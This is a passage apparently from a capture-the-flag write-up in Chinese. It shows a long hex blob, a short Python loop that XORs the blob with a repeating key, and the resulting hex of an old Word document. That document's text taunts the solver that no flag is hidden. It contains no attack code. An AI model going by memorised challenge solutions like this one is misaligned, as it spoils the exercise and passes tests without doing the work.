9EA0949A868A9769735B615D6B6579746869735F615F6B6579746869735E615F6B85FCEB9A903C3771F4FA6D795F4FDAAA6F615F6B7378746863735F61586B6579EC6869735D615F6BCB79746861735F61E06B65797568697394615F6B6A797468B8735F614F6B6579AD6869734D615F6B8479746867735F61A36B65797D6869735B605F6B7679746867725F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B65796A68697351615F6B264328260601320033450116006877735F61566B6579271D0B53122016256567746869775F615F120C17746A69735F855B686579746869735F625F6B65797468696D5F615F786579742500102D0E2C04030D543F06013B4169455579776869735F615F6B7B7974686B735F616A6B6679746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B657974686973661C590F7F62746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B657974686873A19E5C6165798B97968C5F685D6B65797468A9735F615F6B653F6868697312083C190A0A1B0E1D53080E2D0F454F5A58493730022A060017006863735F6112383216060C2D1C3C614F6B657923071B1771253008101411061D5D6961AB52D708746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579A8CD01731AA1566F657951680C735F615F6B6579746869735F625F6B2E7A74683B795F615F6B6579746869735F615F6B6579746822735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B65717468E5735F615F636579F8686973D3695F6B65797468E57B5F615F6B6579F86069735F615F6BE971746869735F61D3636579606869739B695F6B65797468DF7B5F61516B6579B06069735F615F6BA171746869735F619B636579746869739B695F6B6F797468A77B5F61556B6579B06069735F615F6BFD7074682A735F61876365797468697387695F6B65797468B17B5F615F6B6579AC6069735F615F6BBD71746869735F61876365797468697387695F6B65797468B17B5F615F6B6579746869735F615F6B3470746869735F610E626579746869730E685F6B65797468387A5F615F6B6579256169735F615F6B3470746877735F61846265792C6869736C6B5F6B7A797468067A5F61766B6579746869735F615F6B6579746869735F61D36365797468697387695F6B6579746869735D615C6B64797568B17B5F615F6B6579AC6069735F615F6B6579746869735F615F6B65797468697387695F6B65797468B17B5F615F6B65791B6169735F615F6BBD71746869735F61D363657974686973D3695F6B65797468B17B5F615F6B6579746869735F615F6B6579746869735F61876365797468697387695F6B65797468B17B5F615F6B6579AC6069735F615F6BBD71746869735F61D36365797468697387695F6B65797468E57B5F615F6B6579AC6069735F615F6B7A70746869735F615F6B6579746869735F615F6B65797468C97B5F61576B6579DC60697351615F6BE971746869735F61D363657974686973D3695F6B65797468E57B5F615F6B6579AC6069735F615F6B7A70746869735F61876365793368697387695F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B2800540E1B1A3A0F3B474530541B081A3B4D7F1F0D1C060D491A2C412D0E04151811491D30413907041E54000C013A4D7F1C0D00540C061DCD157F120A0C540A0C1F3604290E45141157645F7228692F4C19180C0A3A1567724322723F292539097410232C323D27263C137840727B30687D7166112F40277D616974763A417C5F6865793F6B6973D9625F6B6587746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735D145E69657A746822705F61A16B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615E6B65787A68667357615E6B2E797B6869735F61636B653985976B73636159250A0B190905737E615F6B6A64746189729F62FF6EE57E146129787F6C5F648569746869735F615F6B6579726834705F00566F6579746869735F615F6B6579746869735F617D6B24398697C8737D61492F001F151D05077F313E19041E0609191B7F2730051179746869735F615F6B65797468697314615F6B66798B97968C5C61A0949A8675686D53A09E5E6B6579746822735F615F6B6579746869735F61146B6579746BA95238635F686579F26B69735D615F6865793F6B69735C61186B66001D066230653D395A511E5A0C06075C183605553A4E343E3A112F0B37350B1B0E001F3A12032A01141D0600002B133E1F0A0B282C0C003415301B391F455C0E5D3B0E2B946478743D44735F615F949A32776869485F615F68657974236A735F71566B611F455C0E725F705E6B6579702E584718611F6AE578745769735F5E5F6B6571745C68475E5E5F6B65797468694C5F615F6A607921E90A4B5F63436B65797468697315615F6B2E79746859735F625F6B6479446823705F615F6B2679617EF9725F610B02081C0748271628410D0408181A686565CF605D6B3600190A061F5F6A79FB647974291B1A3E0D5F7A50E97568693030142D02000B54260C045F435F6F65487CE071735FB15D6B6511756869735FC5D3FCA2D1F8FFAE735F615F6E657A746869735F615F6B6579746869735F615F6F65FA646869735F615F6B6579746869735F615F6B6579746869735F615F4F66797468696C5F615F63360C16482432162F5F6B65797711001D5F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869730D61306B0A79006849731A61316B1179066810735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B73797168968CA09EA0949A86776869735F685D6B65797468A9735F615F6B653F746869735F615F6B657974680956E7A8B011B27864686973DF6D5F6B6579746868731C61306B0879046826733D61356B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F614D6B67788B97968CA09EA0949A868B9769735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746807735F615F6B6579236806732D613B6B21791B680A732A61326B00791A681D735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B65797468697345615D6A9A868B976D735F61A0949A86746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615D6B6579266269735F615F6B2A79166803733A613C6B1179246806733061336B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B657974687F735E605E6B657976686973A09EA0946579746869735F615F6B6579746869735F615F6B45B9BEC4860988607FABAFD59B12BE725F615F6B6579746869735F61A0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A8679686973A29EA0949B868B97978CA09E4D6B65796568697350615F6B767974687D735F614A6B65798A97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA094607927681C733261326B0479066810731661316B03791B681B7332613E6B11791D68067331615F6B6579746869735F615F6B6579746869735F615F6B6579746841735D61A0949A868B97968CA09EA0946579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869734F615F6B2378746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B657974686973A09EA0949A868B97968CA09E5F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B65797468968CA09EA0949A868B97968C5F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B65798B97968CA09EA0949A868B9769735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B657975686973A19EA094667974686D735F615A6B65797268697358615F6B6D79746860735F61556B65797F68697353615F6B6879746867735F61506B6579626869734E615F6B777974687A735F614B6B657961686973A19EA0947279746871735F61466B65796E68697344615F6B7979746874735F61416B65796B6869737F615F6B447974684B735F617C6B6579506869737A615F6B437974684E735F61776B65795D68697375615F6B4E79746845735F61726B65795A68697370615F6B5579746858735F61A1949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97978C5F615B6B6779746869735F615F6B6579746869735F615E6B657994EDF681A62E377BCEE87C684254ECB86F6B65796269697355615F6B62797468F1735F615D6B6579DA68697357615F6BDA79746868735F61946B65797B6869738E615F6B75797468B0735F614D6B65799568697351615F6B9979746860735F615B6A65796768697351605F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746877735F61516B65793752353D3013320A095710071D7341615F6B6C7974683A063D41122A2C37747669735F655F6B65001D0669715F615F8F617A746869735F615F686579746869735F7F5F6B656A7468693E36022D041616121C492430133B4B535744686A735F615F6B65796A6869735D615F6B5379776869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F614B3B4E30435E455E16571B420515100B203959CC772C6332352423254A2E17222E303B27693C1378406B7C673D7469664774116B2B663870696B427D40227B646038423A68575F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735E61A19466737468968CA09E5F626779746869739F615F6B6579742E75735F611202060B1B1B06152B410804171D545E47437F253008101411061D7355615F6B282A23071B171B0E3C6B757974683E1C2D05712F0A1A01050C1D2B4F696B9140C61969735F615F6B6579746869735F615F6B6579746869735F615F6B65797468B5D637611AAB6C7D74685C733A615F6B6579746869735F615F6865793F6B69730D6B5F6B6579746869735F615F6B65797468697314615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B657974606973D3615F6B65717468E5735F61D363657974686973D3695F6B65797468E57B5F615F6B6579F86069735F615F6BE97174687D735F619B63657974686973E9695F6B6B797468AD7B5F615F6B6579B06069735F615F6BA171746869735F619B6365797E68697391695F6B6F797468AD7B5F615F6B6579EC6169731C615F6BBD71746869735F61876365797468697387695F6B65797468B17B5F615F6B6579AC6069735F615F6BBD71746869735F61876365797468697387695F6B6579746869735F615F6B6579256169735F615F6B3470746869735F610E626579746869730E685F6B65797468387A5F615F6B65792561697341615F6BBE70746831735F616C6165796B68697330685F6B4C79746869735F615F6B6579746869735F615F6BE971746869735F6187636579746869735F615D6B66797568687387695F6B65797468B17B5F615F6B6579746869735F615F6B6579746869735F61876365797468697387695F6B65797468067A5F615F6B6579AC6069735F615F6BE971746869735F61D36365797468697387695F6B6579746869735F615F6B6579746869735F615F6BBD71746869735F61876365797468697387695F6B65797468B17B5F615F6B6579AC6069735F615F6BE971746869735F618763657974686973D3695F6B65797468B17B5F615F6B65796B6169735F615F6B6579746869735F615F6B657974686973FF695F6B6D797468C17B5F61516B6579F86069735F615F6BE971746869735F61D363657974686973D3695F6B65797468B17B5F615F6B65796B6169735F615F6BBD7174682E735F6187636579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579391149152D083A050155542149003E083B47450D1C0D1B167F082C4B171C1504050A7F0F304B0315150F491B3A133A47450E1C114917300FCD1F45001B1D49113A0D360E131C54050C4C524D7222533D5D0805173C28156D485133632232132B097E2A313D23203C102E13727A606A217566477411257A356C70746F40284176657A746822705F61D9686579B26B69735F9FA16B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615D1E647A746B697314625F6B9B79746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6479746967735061576B64793F6866735F615F6B59797428988C5D61636B63371B1A041233617E6B65797B75697ABF609F68C57CF46F097A1F6A7F666576947869735F615F6B657974686F7302625F0A6C7D746869735F615F6B6579746869735F615F6B477935289B8CFE617D6B733D110E080633157F3B040B150F1B122F097F2D0A17006869735F615F6B6579746869735F61146B65797768968CA09E5C6B9A868B9768735B41A09464797468697314615F6B6579746869735F615F6B2E79746869709F403869657A7468AF705F615D6B657A746822705F615C6B22797711001D542265370348400F471730155C120C17442B532F082811253125241A0615360D3A1839381005001D36122B19040D1B1A35373A12341F0A09280E5847384F3B0411867569692672615F6B65868B6869735F215F6B657F746869F55C615F7B6C79700E584738605F7A647974686D356E55186B2578F469694C5F615F546579746069725F605F546579746869735F5E5F6B657871683CF23C595F697979746869735F61156B65793F6869736F615F6865797568597315625F6B657937687C65CF605F6B3110190D1A531104284B3716190907735377CF6A677927110411300D5F6043E9756869322D083E07656841F868735F22301E1710111A493D3A165F49657D745961FB47615FBB6779740068735F615FCFE9EEB3C0E5E498615F6B657F746B69735F615F6B6579746869735F615F6B657D74EB79735F615F6B6579746869735F615F6B6579746869735F615F6B655D776869735F7E5F6B6571271D0B5312201625657974686A0A360F5F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F61"
for i in range(0, len(data), 2):
flag += str(hex(int(data[i:i+2], 16) ^ ord(key[i//2%10])))[2:].zfill(2)
print(flag)
得到：
d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000b00000000000000001000000e00000001000000feffffff000000000c000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff030000000009020000000000c000000000000046000000000000000000000000f0ec67b8ef7ad70105000000800c000000000000010043006f006d0070004f0062006a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000201ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000006e0000000000000057006f007200640044006f00630075006d0065006e007400000000000000000000000000000000000000000000000000000000000000000000000000000000001a000201ffffffff04000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000002000000520a0000000000004f0062006a0065006300740050006f006f006c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000160001010100000002000000ffffffff000000000000000000000000000000000000000020c0caacef7ad70120c0caacef7ad70100000000000000000000000002000000fdfffffffefffffffeffffff07000000060000000400000008000000090000000a000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0500530075006d006d0061007200790049006e0066006f0072006d006100740069006f006e00000000000000000000000000000000000000000000000000000028000200ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000001000000046010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000feffffff030000000400000005000000060000000700000008000000090000000a0000000b0000000c0000000d0000000e0000000f000000160000001100000012000000130000001400000015000000feffffff1700000018000000190000001a0000001b0000001c0000001d0000001e0000001f000000200000002100000022000000230000002400000025000000260000002700000028000000290000002a0000002b0000002c0000002d0000002e0000002f0000003000000031000000fefffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffeff0000040002000000000000000000000000000000000001000000e0859ff2f94f6810ab9108002b27b3d930000000160100000a000000070000009800000002000000ae00000008000000bf00000001000000cb0000000f000000d100000010000000d900000012000000e10000000e000000fc0000000900000004010000130000000e010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001e0000000e000000433a5c4e6f726d616c2e646f74001e00000009000000537562204d41494e001e0000000400000079696e0002000000e404030000000000000003000000000000001e000000130000004d6963726f736f667420576f726420362e300003000000000000001e000000020000003500030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000397d06641a1b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100feff030a0000ffffffff0009020000000000c0000000000000461c0000004d6963726f736f667420576f726420362e3020446f63756d656e74000a0000004d53576f7264446f630010000000576f72642e446f63756d656e742e3600f439b271000000000000000000000000000000000000000000000000000000000000dca5680045c0090400002500650000000000000000000000000300004b030000520a0000000000000000000000000000000000004b0000000000000000000000000000000000000000000000000000000000000000000000000800008c000000000800008c0000008c080000000000008c080000000000008c080000000000008c080000000000008c08000014000000c408000000000000b60800000e000000c408000000000000c408000000000000c408000000000000c40800000a000000ce0800000a000000c4080000000000009809000043000000d808000000000000d808000000000000d808000000000000d808000000000000d808000000000000d808000000000000d808000000000000d808000000000000000000000000000051090000000000005109000000000000510900000000000051090000000000005109000000000000510900001e000000db09000058000000330a00001f0000006f09000029000000000000000000000000000000000000008c08000000000000d80800000000000000000200030001000100d808000000000000d80800000000000000000000000000000000000000000000d808000000000000d8080000000000006f09000000000000d8080000000000008c080000000000008c08000000000000d80800000000000000000000000000000000000000000000d808000000000000d808000000000000d808000000000000d808000000000000d8080000000000008c08000000000000d8080000000000008c08000000000000d8080000000000001f0900000000000000000000000000000000000000000000a008000008000000a80800000e0000008c080000000000008c080000000000008c080000000000008c08000000000000d8080000000000001f09000000000000d808000047000000d80800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004d7920667269656e642c204920736169642c207468657265206973207265616c6c79206e6f20666c616720686572652c2077687920646f6e927420796f752062656c69657665206d653f0d2c2d49364429606c6463494a062d28470b4b414c4a56154f48494b494f4f4f4c191f191e491c1518154e4e1f4c18181d1c1f491e1d000300004b0300008603000000fe000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002750102000300004b030000fe00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000010e000f00080001004b000f00000000003c000040f1ff02003c00064e6f726d616c00210000000f1d0009e001c003a00580076009400b200d000fe0100000000000000000000006005d030061090400000000000000000000000000000000000022004140f2ffa10022001644656661756c742050617261677261706820466f6e740000000000000000000000000000004b0000000300ffffffff0300ffffffff01000420ffff0100000000004b000000000000000000000000004b0000000003c021670200030000860300000200000300004b030000030047000379696e0b433a5c663134672e646f740379696e30433a5c57494e4e545c50726f66696c65735c41646d696e6973747261746f725c4465736b746f705c663134672e646f74ff010100552d00000000ffff4b0300003b000000030000004b03000010090004663134670100110100000004463134470040018001003f0000003f0000000800340134013f000000000000003f0000000105005581633800021c000000000000004a0000004b000000300000030000010030004a0300000000430015169001000054696d6573204e657720526f6d616e000c169001020053796d626f6c000b2690010000417269616c00113590010000436f7572696572204e65770022000400310888180000d0020000680100000000a48c97c7a88c97c70000000005000300000000000000000000000000000000000400831000000000000000000000000000000000000000000000000000002403000000001f00000008537562204d41494e000000000379696e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000052006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff030000000009020000000000c0000000000000460000000000000000000000006025b8c9ef7ad70110000000800c000000000000010043006f006d0070004f0062006a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000201ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000006e0000000000000057006f007200640044006f00630075006d0065006e007400000000000000000000000000000000000000000000000000000000000000000000000000000000001a000201ffffffff04000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000002000000520a0000000000004f0062006a0065006300740050006f006f006c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000160001010100000002000000ffffffff000000000000000000000000000000000000000020c0caacef7ad70120c0caacef7ad701000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff